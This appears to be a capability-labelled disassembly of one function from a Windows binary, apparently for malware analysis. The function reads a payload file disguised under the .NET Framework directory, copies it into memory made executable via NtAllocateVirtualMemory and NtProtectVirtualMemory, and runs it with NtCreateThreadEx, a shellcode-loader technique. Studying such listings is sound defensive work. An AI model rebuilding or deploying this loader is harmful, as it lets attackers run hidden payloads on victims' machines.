Function at 0x140001880
Capabilities:
Allocate or change rwx memory
Create thread
Get hostname
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xc0], rax
cmp ecx, 1
je 0x1400018ae
xor eax, eax
jmp 0x1400019bb
mov qword [rsp + 0x1e0], rbx
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x1e8], rsi
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x1f0], rdi
mov qword [rsp + 0x1f8], r14
mov dword [rsp + 0x70], 0x100
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1400014a0
movups xmm0, xmmword [str.C:_Windows_Microsoft.NET_Framework64_Microsoft.bin]
movzx eax, word [0x140022858]
lea rdx, [0x1400227bc]
movups xmm1, xmmword [0x140022838]
mov word [rbp - 0x50], ax
lea rcx, [rbp - 0x80]
movzx eax, byte [0x14002285a]
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x4e], al
movups xmm0, xmmword [0x140022848]
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm0
call fcn.1400068c8
mov rbx, rax
test rax, rax
je 0x14000198a
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.140006d6c
mov rcx, rbx
call fcn.140006804
mov rcx, rbx
movsxd rsi, eax
call fcn.140008404
mov rcx, rbx
call fcn.140006b00
test rsi, rsi
je 0x14000198a
lea rdx, [0x1400227bc]
lea rcx, [rbp - 0x80]
call fcn.1400068c8
mov r14, rax
test rax, rax
jne 0x1400019d3
lea rcx, str.Binary_file_does_not_exist__n
call fcn.140001010
lea rcx, str.Failed_to_read_binary_file_n
call fcn.140001010
mov eax, 1
mov rdi, qword [rsp + 0x1f0]
mov rsi, qword [rsp + 0x1e8]
mov rbx, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x1f8]
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140001b80
add rsp, 0x1d0
pop rbp
ret
mov rcx, rsi
call fcn.140001ba8
mov r9, r14
mov r8, rsi
mov edx, 1
mov rcx, rax
mov rdi, rax
call fcn.140008aa0
mov rcx, r14
mov rbx, rax
call fcn.140006b00
test rbx, rbx
jne 0x140001a0e
mov rcx, rdi
call fcn.140001ba0
jmp 0x14000198a
xor ebx, ebx
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x78]
mov qword [rsp + 0x60], rbx
xor r8d, r8d
mov qword [rsp + 0x78], rsi
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x20], 0x3000
lea rcx, [rbx - 1]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jns 0x140001a5e
lea rcx, str.Failed_to_allocate_virtual_memory_n
call fcn.140001010
mov rcx, rdi
call fcn.140001ba0
jmp 0x140001996
mov rcx, qword [rsp + 0x60]
mov r8, rsi
mov rdx, rdi
call fcn.140018de0
lea rcx, [rsp + 0x74]
mov dword [rsp + 0x74], ebx
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x78]
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x60]
mov r9d, 0x40
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140001abb
lea rcx, str.Failed_to_change_memory_protection_n
call fcn.140001010
mov rcx, rdi
call fcn.140001ba0
mov eax, 2
jmp 0x14000199b
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], rbx
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], rbx
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x140001b23
lea rcx, str.Failed_to_create_thread_n
call fcn.140001010
mov rcx, rdi
call fcn.140001ba0
mov eax, 3
jmp 0x14000199b
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140001b55
lea rcx, str.Failed_to_wait_for_single_object_n
call fcn.140001010
mov rcx, rdi
call fcn.140001ba0
mov eax, 4
jmp 0x14000199b
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140001ba0
xor eax, eax
jmp 0x14000199b